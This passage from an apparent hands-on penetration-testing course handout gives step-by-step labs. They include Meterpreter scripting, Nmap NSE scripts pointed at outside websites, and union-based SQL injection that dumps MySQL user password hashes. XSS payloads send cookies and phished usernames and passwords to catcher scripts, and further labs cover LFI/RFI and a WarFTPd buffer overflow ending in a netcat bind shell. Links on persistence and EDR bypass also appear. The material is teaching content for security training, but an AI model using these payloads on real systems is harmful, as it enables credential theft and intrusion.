  987. getinfo(client)
  988. --------------------------------------------------------------------------
  989.  
  990.  
  991. - Now run the script:
  992. ---------------------------Type This-----------------------------------
  993. meterpreter> run helloworld
  994. -----------------------------------------------------------------------
  995.  
  996. - We can expand it by adding actual system commands to the script, lets look at how we can do this.
  997. ---------------------------Type This-----------------------------------
  998. vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
  999. -------(paste the code below into this file)-------
  1000. def list_exec(session,cmdlst)
  1001. print_status("Running Command List ...")
  1002. r=''
  1003. session.response_timeout=120
  1004. cmdlst.each do |cmd|
  1005. begin
  1006. print_status "running command #{cmd}"
  1007. r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
  1008. while(d = r.channel.read)
  1009.  
  1010. print_status("#{d}")
  1011. end
  1012. r.channel.close
  1013. r.close
  1014. rescue ::Exception => e
  1015. print_error("Error Running Command #{cmd}: #{e.class} #{e}")
  1016. end
  1017. end
  1018. end
  1019.  
  1020. commands = [ "set",
  1021. "ipconfig /all",
  1022. "arp -a"]
  1023.  
  1024. list_exec(client,commands)
  1025. ------------------------------------------------------------------------
  1026.  
  1027.  
  1028. - Run the script:
  1029. ---------------------------Type This-----------------------------------
  1030. meterpreter> run helloworld
  1031. -----------------------------------------------------------------------
  1032.  
  1033.  
  1034.  
  1035.  
  1036. #########################
  1037. # Meterpreter Challenge #
  1038. #########################
  1039. Note: Add all of the commands from the script below to your helloworld.rb script:
  1040. https://raw.githubusercontent.com/rapid7/metasploit-framework/master/scripts/meterpreter/winenum.rb
  1041.  
  1042.  
  1043.  
  1044. ---------------------------------------------------------------------------------
  1045.  
  1046.  
  1047.  
  1048. #####################################
  1049. # Writing Your Own Nmap NSE Scripts #
  1050. #####################################
  1051.  
  1052.  
  1053. ----------------------------------------------------------------------
  1054. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  1055.  
  1056. -- The Head Section --
  1057. -- The Rule Section --
  1058. portrule = function(host, port)
  1059. return port.protocol == "tcp"
  1060. and port.number == 80
  1061. and port.state == "open"
  1062. end
  1063.  
  1064. -- The Action Section --
  1065. action = function(host, port)
  1066. return "Munich Hacking!"
  1067. end
  1068. ----------------------------------------------------------------------
  1069.  
  1070. - Ok, now that we've made that change let's run the script
  1071. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
  1072.  
  1073.  
  1074.  
  1075.  
  1076.  
  1077.  
  1078. ----------------------------------------------------------------------
  1079. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  1080.  
  1081. -- The Head Section --
  1082. local shortport = require "shortport"
  1083.  
  1084. -- The Rule Section --
  1085. portrule = shortport.http
  1086.  
  1087.  
  1088. -- The Action Section --
  1089. action = function(host, port)
  1090. return "Munich Hacking!"
  1091. end
  1092. ----------------------------------------------------------------------
  1093.  
  1094. - Ok, now that we've made that change let's run the script
  1095. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
  1096.  
  1097.  
  1098.  
  1099.  
  1100.  
  1101.  
  1102.  
  1103. OK, now let's have some fun with my buddy Carlos Perez's website.
  1104.  
  1105. ----------------------------------------------------------------------
  1106. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  1107.  
  1108. -- The Head Section --
  1109. local shortport = require "shortport"
  1110. local http = require "http"
  1111.  
  1112. -- The Rule Section --
  1113. portrule = shortport.http
  1114.  
  1115. -- The Action Section --
  1116. action = function(host, port)
  1117.  
  1118. local uri = "/installing-metasploit-in-ubunt/"
  1119. local response = http.get(host, port, uri)
  1120. return response.status
  1121.  
  1122. end
  1123. ----------------------------------------------------------------------
  1124.  
  1125. - Ok, now that we've made that change let's run the script
  1126. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
  1127.  
  1128.  
  1129.  
  1130.  
  1131. ----------------------------------------------------------------------
  1132. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  1133.  
  1134. -- The Head Section --
  1135. local shortport = require "shortport"
  1136. local http = require "http"
  1137.  
  1138. -- The Rule Section --
  1139. portrule = shortport.http
  1140.  
  1141. -- The Action Section --
  1142. action = function(host, port)
  1143.  
  1144. local uri = "/installing-metasploit-in-ubunt/"
  1145. local response = http.get(host, port, uri)
  1146.  
  1147. if ( response.status == 200 ) then
  1148. return response.body
  1149. end
  1150.  
  1151. end
  1152. ----------------------------------------------------------------------
  1153.  
  1154. - Ok, now that we've made that change let's run the script
  1155. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
  1156.  
  1157.  
  1158.  
  1159.  
  1160.  
  1161.  
  1162.  
  1163.  
  1164.  
  1165. ----------------------------------------------------------------------
  1166. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  1167.  
  1168. -- The Head Section --
  1169. local shortport = require "shortport"
  1170. local http = require "http"
  1171. local string = require "string"
  1172.  
  1173. -- The Rule Section --
  1174. portrule = shortport.http
  1175.  
  1176. -- The Action Section --
  1177. action = function(host, port)
  1178.  
  1179. local uri = "/installing-metasploit-in-ubunt/"
  1180. local response = http.get(host, port, uri)
  1181.  
  1182. if ( response.status == 200 ) then
  1183. local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
  1184. return title
  1185. end
  1186.  
  1187. end
  1188. ----------------------------------------------------------------------
  1189.  
  1190. - Ok, now that we've made that change let's run the script
  1191. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
  1192.  
  1193.  
  1194.  
  1195.  
  1196.  
  1197.  
  1198.  
  1199. ----------------------------------------------------------------------
  1200. sudo vi /usr/share/nmap/scripts/intro-nse.nse
  1201.  
  1202. -- The Head Section --
  1203. local shortport = require "shortport"
  1204. local http = require "http"
  1205. local string = require "string"
  1206.  
  1207. -- The Rule Section --
  1208. portrule = shortport.http
  1209.  
  1210. -- The Action Section --
  1211. action = function(host, port)
  1212.  
  1213. local uri = "/installing-metasploit-in-ubunt/"
  1214. local response = http.get(host, port, uri)
  1215.  
  1216. if ( response.status == 200 ) then
  1217. local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
  1218.  
  1219. if (title) then
  1220. return "Vulnerable"
  1221. else
  1222. return "Not Vulnerable"
  1223. end
  1224. end
  1225. end
  1226.  
  1227. ----------------------------------------------------------------------
  1228.  
  1229. - Ok, now that we've made that change let's run the script
  1230. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
  1231.  
  1232.  
  1233.  
  1234.  
  1235. ################################
  1236. # Attack Environment Deployers #
  1237. ################################
  1238. https://github.com/mantvydasb/Red-Team-Infrastructure-Automation
  1239.  
  1240.  
  1241.  
  1242.  
  1243. #################
  1244. # Lab Deployers #
  1245. #################
  1246. https://github.com/jaredhaight/PowerShellClassLab
  1247. https://github.com/outflanknl/Invoke-ADLabDeployer
  1248. https://github.com/AutomatedLab/AutomatedLab
  1249.  
  1250.  
  1251.  
  1252.  
  1253. ###############
  1254. # Persistence #
  1255. ###############
  1256. https://rastamouse.me/2018/03/a-view-of-persistence/
  1257. https://blog.inspired-sec.com/archive/2017/01/20/WMI-Persistence.html
  1258. https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
  1259. https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
  1260.  
  1261.  
  1262.  
  1263.  
  1264. ####################
  1265. # Lateral Movement #
  1266. ####################
  1267.  
  1268.  
  1269. ###########################
  1270. # Bypassing EDR Solutions #
  1271. ###########################
  1272. https://lospi.net/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html
  1273. https://github.com/vysecurity/morphHTA
  1274. https://labs.mwrinfosecurity.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/
  1275.  
  1276.  
  1277. #######################
  1278. # Attacking PHP/MySQL #
  1279. #######################
  1280.  
  1281. Go to LAMP Target homepage
  1282. ---------------------------Paste this into Firefox-----------------------------------
  1283. http://45.63.104.73/
  1284. -------------------------------------------------------------------------------------
  1285.  
  1286.  
  1287. Clicking on the Acer Link:
  1288. ---------------------------Paste this into Firefox-----------------------------------
  1289. http://45.63.104.73/acre2.php?lap=acer
  1290. -------------------------------------------------------------------------------------
  1291.  
  1292. - Found parameter passing (answer yes to question 1)
  1293. - Insert ' to test for SQLI
  1294.  
  1295. ---------------------------Paste this into Firefox-----------------------------------
  1296. http://45.63.104.73/acre2.php?lap=acer'
  1297. -------------------------------------------------------------------------------------
  1298.  
  1299. Page returns the following error:
  1300. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  1301.  
  1302.  
  1303.  
  1304. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  1305. We do this using the ORDER BY
  1306. ---------------------------Paste this into Firefox-----------------------------------
  1307. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  1308. -------------------------------------------------------------------------------------
  1309.  
  1310.  
  1311. Page returns the following error:
  1312. Unknown column '100' in 'order clause'
  1313.  
  1314.  
  1315. ---------------------------Paste this into Firefox-----------------------------------
  1316. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  1317. -------------------------------------------------------------------------------------
  1318.  
  1319.  
  1320. Page returns the following error:
  1321. Unknown column '50' in 'order clause'
  1322.  
  1323.  
  1324. ---------------------------Paste this into Firefox-----------------------------------
  1325. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  1326. -------------------------------------------------------------------------------------
  1327.  
  1328. Page returns the following error:
  1329. Unknown column '25' in 'order clause'
  1330.  
  1331.  
  1332. ---------------------------Paste this into Firefox-----------------------------------
  1333. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  1334. -------------------------------------------------------------------------------------
  1335.  
  1336. Page returns the following error:
  1337. Unknown column '12' in 'order clause'
  1338.  
  1339.  
  1340. ---------------------------Paste this into Firefox-----------------------------------
  1341. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  1342. -------------------------------------------------------------------------------------
  1343. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  1344.  
  1345.  
  1346.  
  1347. Now we build out the union all select statement with the correct number of columns
  1348.  
  1349. Reference:
  1350. http://www.techonthenet.com/sql/union.php
  1351.  
  1352.  
  1353. ---------------------------Paste this into Firefox-----------------------------------
  1354. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  1355. -------------------------------------------------------------------------------------
  1356.  
  1357.  
  1358.  
  1359. Now we negate the parameter value 'acer' by turning into the word 'null':
  1360.  
  1361. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  1362. -------------------------------------------------------------------------------------
  1363.  
  1364. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  1365.  
  1366.  
  1367. Use a cheat sheet for syntax:
  1368. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  1369.  
  1370. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1371. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  1372.  
  1373. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  1374.  
  1375. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  1376.  
  1377. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  1378.  
  1379. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  1380. ------------------------------------------------------------------------------------- -------------------
  1381.  
  1382.  
  1383.  
  1384.  
  1385. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  1386.  
  1387. Here is a good reference for it:
  1388. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  1389.  
  1390. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  1391.  
  1392.  
  1393.  
  1394. ###############################################################################
  1395. # What is XSS #
  1396. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  1397. ###############################################################################
  1398.  
  1399. OK - what is Cross Site Scripting (XSS)
  1400.  
  1401. 1. Use Firefox to browse to the following location:
  1402. ---------------------------Paste this into Firefox-----------------------------------
  1403. http://45.63.104.73/xss_practice/
  1404. -------------------------------------------------------------------------------------
  1405.  
  1406. A really simple search page that is vulnerable should come up.
  1407.  
  1408.  
  1409.  
  1410.  
  1411. 2. In the search box type:
  1412. ---------------------------Paste this into Firefox-----------------------------------
  1413. <script>alert('So this is XSS')</script>
  1414. -------------------------------------------------------------------------------------
  1415.  
  1416.  
  1417. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  1418. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1419.  
  1420.  
  1421. 3. In the search box type:
  1422. ---------------------------Paste this into Firefox-----------------------------------
  1423. <script>alert(document.cookie)</script>
  1424. -------------------------------------------------------------------------------------
  1425.  
  1426.  
  1427. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  1428. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1429.  
  1430. 4. Now replace that alert script with:
  1431. ---------------------------Paste this into Firefox-----------------------------------
  1432. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  1433. -------------------------------------------------------------------------------------
  1434.  
  1435. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  1436.  
  1437.  
  1438. 5. Now view the stolen cookie at:
  1439. ---------------------------Paste this into Firefox-----------------------------------
  1440. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  1441. -------------------------------------------------------------------------------------
  1442.  
  1443. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  1444.  
  1445.  
  1446.  
  1447.  
  1448.  
  1449.  
  1450. ############################
  1451. # A Better Way To Demo XSS #
  1452. ############################
  1453.  
  1454.  
  1455. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  1456.  
  1457.  
  1458. Use Firefox to browse to the following location:
  1459. ---------------------------Paste this into Firefox-----------------------------------
  1460. http://45.63.104.73/xss_practice/
  1461. -------------------------------------------------------------------------------------
  1462.  
  1463.  
  1464. Paste this in the search box
  1465. ----------------------------
  1466.  
  1467.  
  1468. Option 1
  1469. --------
  1470. ---------------------------Paste this into Firefox-----------------------------------
  1471. <script>
  1472. password=prompt('Your session is expired. Please enter your password to continue',' ');
  1473. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  1474. </script>
  1475. -------------------------------------------------------------------------------------
  1476.  
  1477. Now view the stolen cookie at:
  1478. ---------------------------Paste this into Firefox-----------------------------------
  1479. http://45.63.104.73/xss_practice/passwords.html
  1480. -------------------------------------------------------------------------------------
  1481.  
  1482.  
  1483. Option 2
  1484. --------
  1485. -------------------------Paste this into Firefox-----------------------------------
  1486. <script>
  1487. username=prompt('Please enter your username',' ');
  1488. password=prompt('Please enter your password',' ');
  1489. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  1490. </script>
  1491. -------------------------------------------------------------------------------------
  1492.  
  1493.  
  1494.  
  1495. Now view the stolen cookie at:
  1496. http://45.63.104.73/xss_practice/username_password_logs.html
  1497.  
  1498.  
  1499.  
  1500.  
  1501. #########################################
  1502. # Let's try a local file include (LFI) #
  1503. #########################################
  1504. - Here is an example of an LFI
  1505. - Open this page in Firefox:
  1506. -------------------------Paste this into Firefox-----------------------------------
  1507. http://45.63.104.73/showfile.php?filename=contactus.txt
  1508. -------------------------------------------------------------------------------------
  1509.  
  1510.  
  1511. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  1512. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  1513. - You can attack this by doing the following:
  1514. -------------------------Paste this into Firefox-----------------------------------
  1515. http://45.63.104.73/showfile.php?filename=/etc/passwd
  1516. -------------------------------------------------------------------------------------
  1517.  
  1518.  
  1519. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  1520. - somewhere else on the Internet. Here is an example of a text file on the web:
  1521. -------------------------Paste this into Firefox-----------------------------------
  1522. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1523. -------------------------------------------------------------------------------------
  1524.  
  1525. - Now we can attack the target via RFI like this:
  1526. -------------------------Paste this into Firefox-----------------------------------
  1527. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1528. -------------------------------------------------------------------------------------
  1529.  
  1530.  
  1531.  
  1532. ###############################
  1533. # How much fuzzing is enough? #
  1534. ###############################
  1535. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  1536.  
  1537. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  1538.  
  1539.  
  1540. Step 1: Ask yourself the 3 questions per page of the site.
  1541.  
  1542. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  1543.  
  1544. Step 3: When you load your fuzz strings - use the following decision tree
  1545.  
  1546. - Are the fuzz strings causing a default error message (example 404)?
  1547. - If this is the case then it is most likely NOT vulnerable
  1548.  
  1549. - Are the fuzz strings causing a WAF or LB custom error message?
  1550. - If this is the case then you need to find an encoding method to bypass
  1551.  
  1552.  
  1553. - Are the fuzz strings causing an error message that discloses the backend type?
  1554. - If yes, then identify DB type and find correct syntax to successfully exploit
  1555. - Some example strings that I use are:
  1556. '
  1557. "
  1558. () <----- Take the parameter value and put it in parenthesis
  1559. (5-1) <----- See if you can perform an arithmetic function
  1560.  
  1561.  
  1562. - Are the fuzz strings rendering executable code?
  1563. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  1564. - Some example strings that I use are:
  1565. <b>hello</b>
  1566. <u>hello</u>
  1567. <script>alert(123);</script>
  1568. <script>alert(xss);</script>
  1569. <script>alert('xss');</script>
  1570. <script>alert("xss");</script>
  1571.  
  1572.  
  1573. ###############################################################
  1574. # Question 1: What is the process that you use when you test? #
  1575. ###############################################################
  1576.  
  1577. Step 1: Automated Testing
  1578.  
  1579. Step 1a: Web Application vulnerability scanners
  1580. -----------------------------------------------
  1581. - Run two (2) unauthenticated vulnerability scans against the target
  1582. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  1583. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  1584.  
  1585. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  1586.  
  1587. A good web application vulnerability scanner comparison website is here:
  1588. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  1589.  
  1590.  
  1591. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  1592.  
  1593. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  1594.  
  1595.  
  1596. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  1597.  
  1598.  
  1599. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  1600.  
  1601.  
  1602.  
  1603. Step 1b: Directory Brute Forcer
  1604. -------------------------------
  1605. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  1606.  
  1607.  
  1608.  
  1609. Step 2: Manual Testing
  1610.  
  1611. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  1612.  
  1613. Step 2a: Spider/Scan the entire site with Burp Suite
  1614. Save the spider and scan results. I usually provide this data to the customer as well.
  1615.  
  1616.  
  1617. Step 2b: Browse through the site using the 3 question method
  1618. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  1619.  
  1620. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  1621.  
  1622. Here is what I mean:
  1623. http://www.site.com/page.aspx?parametername=parametervalue
  1624.  
  1625. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  1626.  
  1627. http://www.site.com/page.aspx?parametername=[ payload ]
  1628.  
  1629. You need to ensure that you send the payload this way, and like this below:
  1630.  
  1631. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  1632.  
  1633. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  1634.  
  1635.  
  1636.  
  1637.  
  1638.  
  1639.  
  1640.  
  1641. ###########################################
  1642. # Question 2: How much fuzzing is enough? #
  1643. ###########################################
  1644. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  1645.  
  1646. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  1647.  
  1648.  
  1649. Step 1: Ask yourself the 3 questions per page of the site.
  1650.  
  1651. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  1652.  
  1653. Step 3: When you load your fuzz strings - use the following decision tree
  1654.  
  1655. - Are the fuzz strings causing a default error message (example 404)?
  1656. - If this is the case then it is most likely NOT vulnerable
  1657.  
  1658. - Are the fuzz strings causing a WAF or LB custom error message?
  1659. - If this is the case then you need to find an encoding method to bypass
  1660.  
  1661.  
  1662. - Are the fuzz strings causing an error message that discloses the backend type?
  1663. - If yes, then identify DB type and find correct syntax to successfully exploit
  1664. - Some example strings that I use are:
  1665. '
  1666. "
  1667. () <----- Take the parameter value and put it in parenthesis
  1668. (5-1) <----- See if you can perform an arithmetic function
  1669.  
  1670.  
  1671. - Are the fuzz strings rendering executable code?
  1672. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  1673. - Some example strings that I use are:
  1674. <b>hello</b>
  1675. <u>hello</u>
  1676. <script>alert(123);</script>
  1677. <script>alert(xss);</script>
  1678. <script>alert('xss');</script>
  1679. <script>alert("xss");</script>
  1680.  
  1681.  
  1682.  
  1683.  
  1684.  
  1685.  
  1686.  
  1687. -------------------------------------------------------------------------------------------
  1688. OWASP Top 10 Video Explanations
  1689.  
  1690. Burp Suite Reference:
  1691. https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
  1692.  
  1693. A1: Injection Vulnerabilities
  1694. https://www.youtube.com/watch?v=9CnpHT5Nn8c&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
  1695.  
  1696.  
  1697. A2: Broken Authentication and Session Management
  1698. https://www.youtube.com/watch?v=R1iGRBG3PJ8&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=2
  1699.  
  1700. A3: Cross Site Scripting (XSS)
  1701. https://www.youtube.com/watch?v=90XT0j5E7xo&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=4
  1702.  
  1703. A4: Insecure Direct Object Reference
  1704. https://www.youtube.com/watch?v=bMYpGj2xzpM&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=5
  1705.  
  1706.  
  1707. A5: Security Misconfiguration
  1708. https://www.youtube.com/watch?v=ouuXu9_UM0w&index=7&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
  1709.  
  1710.  
  1711. A6: Sensitive Data Exposure
  1712. https://www.youtube.com/watch?v=x-B8I420x7Y&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=8
  1713.  
  1714.  
  1715. A7: Missing Function Level Access Control and A8 Cross-Site Request Forgery (CSRF)
  1716. https://www.youtube.com/watch?v=gf6cb7MnP-c&index=9&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
  1717.  
  1718. A9 Using Components w/ Known Vulnerabilities & A10 Unvalidated Redirects and Forwards
  1719. https://www.youtube.com/watch?v=WqlSl-Pc1vk&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=10
  1720.  
  1721.  
  1722.  
  1723.  
  1724.  
  1725.  
  1726.  
  1727.  
  1728.  
  1729.  
  1730.  
  1731.  
  1732.  
  1733. Day 2
  1734. =-------------------------------------------------------------------------
  1735.  
  1736.  
  1737. ###########################
  1738. # Lab 1a: Stack Overflows #
  1739. ###########################
  1740.  
  1741. #################################
  1742. # Start WarFTPd #
  1743. # Start WinDBG #
  1744. # Press F6 #
  1745. # Attach to war-ftpd.exe #
  1746. #################################
  1747.  
  1748. ---------------------------Type This-----------------------------------
  1749. c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP
  1750. -----------------------------------------------------------------------
  1751.  
  1752. At WINDBG prompt
  1753. “r” to show registers or “alt+4”
  1754.  
  1755. ---------------------------Type This-----------------------------------
  1756. 0:003> dd eip
  1757. 0:003> dd esp
  1758. -----------------------------------------------------------------------
  1759.  
  1760. ---------------------------Type This-----------------------------------
  1761.  
  1762. c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP
  1763. -----------------------------------------------------------------------
  1764.  
  1765.  
  1766. At WINDBG prompt
  1767. “r” to show registers or “alt+4”
  1768.  
  1769. ---------------------------Type This-----------------------------------
  1770.  
  1771. 0:003> dd eip
  1772. 0:003> dd esp
  1773. -----------------------------------------------------------------------
  1774.  
  1775. Eip: 32714131
  1776. esp: affd58 (71413471)
  1777.  
  1778. Now we need to SSH into the StrategicSec Ubuntu host
  1779.  
  1780. ---------------------------Type This-----------------------------------
  1781.  
  1782. cd /usr/share/metasploit-framework/tools/exploit/
  1783.  
  1784. ./pattern_offset.rb -q 32714131
  1785. 485
  1786.  
  1787. ./pattern_offset.rb -q 71413471
  1788. 493
  1789. -----------------------------------------------------------------------
  1790.  
  1791. Distance to EIP is: 485
  1792. Relative position of ESP is: 493
  1793.  
  1794. RET – POP EIP
  1795. RET 4 – POP EIP and shift ESP down by 4 bytes
  1796.  
  1797. ---------------------------Type This-----------------------------------
  1798.  
  1799. wget https://raw.githubusercontent.com/pwnieexpress/metasploit-framework/master/msfpescan
  1800. mkdir DLLs
  1801. ./msfpescan -j ESP DLLs/shell32.dll
  1802. -----------------------------------------------------------------------
  1803.  
  1804. 0x7c9c167d push esp; retn 0x304d
  1805. 0x7c9d30d7 jmp esp < - how about we use this one
  1806. 0x7c9d30eb jmp esp
  1807. 0x7c9d30ff jmp esp
  1808.  
  1809.  
  1810. warftpd3.py with Notepad++
  1811. Fill in the appropriate values
  1812. Distance to EIP
  1813. Address of JMP ESP
  1814.  
  1815.  
  1816. ---------------------------Type This-----------------------------------
  1817.  
  1818. c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP
  1819.  
  1820. 0:003> dd eip
  1821. 0:003> dd esp
  1822. -----------------------------------------------------------------------
  1823.  
  1824.  
  1825.  
  1826.  
  1827.  
  1828. Mention bad characters
  1829. No debugger
  1830.  
  1831.  
  1832. ---------------------------Type This-----------------------------------
  1833.  
  1834. c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP
  1835.  
  1836. nc XPSP3-ED-Target-IP 4444
  1837. -----------------------------------------------------------------------
  1838.  
  1839.  
  1840.  
  1841. ###########################################
  1842. # Lab 1b: Stack Overflows with DEP Bypass #
  1843. ###########################################
  1844.  
  1845. Reboot your target host and choose the "2nd" option for DEP.
  1846.  
  1847.  
  1848.  
  1849.  
  1850. ---------------------------Type This-----------------------------------
  1851.  
  1852. c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP
  1853.  
  1854. At WINDBG prompt
  1855. “r” to show registers or “alt+4”
  1856.  
  1857. dd esp
  1858.  
  1859.  
  1860.  
  1861.  
  1862. c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP
  1863.  
  1864.  
  1865. At WINDBG prompt
  1866. “r” to show registers or “alt+4”
  1867. dd esp
  1868. -----------------------------------------------------------------------
  1869.  
  1870. Eip: 32714131
  1871. esp: affd58 (71413471)
  1872.  
  1873. Now we need to SSH into the StrategicSec Ubuntu host
  1874.  
  1875. ---------------------------Type This-----------------------------------
  1876.  
  1877. cd /home/strategicsec/toolz/metasploit/tools
  1878.  
  1879. ruby pattern_offset.rb 32714131
  1880. 485
  1881.  
  1882. ruby pattern_offset.rb 71413471
  1883. 493
  1884.  
  1885.  
  1886.  
  1887.  
  1888.  
  1889.  
  1890.  
  1891.  
  1892. cd /home/strategicsec/toolz/metasploit/tools
  1893.  
  1894. ruby pattern_offset.rb 32714131
  1895.  
  1896. cd /home/strategicsec/toolz/metasploit/
  1897.  
  1898. ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
  1899.  
  1900.  
  1901.  
  1902. c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP
  1903.  
  1904. 0:003> dd eip
  1905. 0:003> dd esp
  1906.  
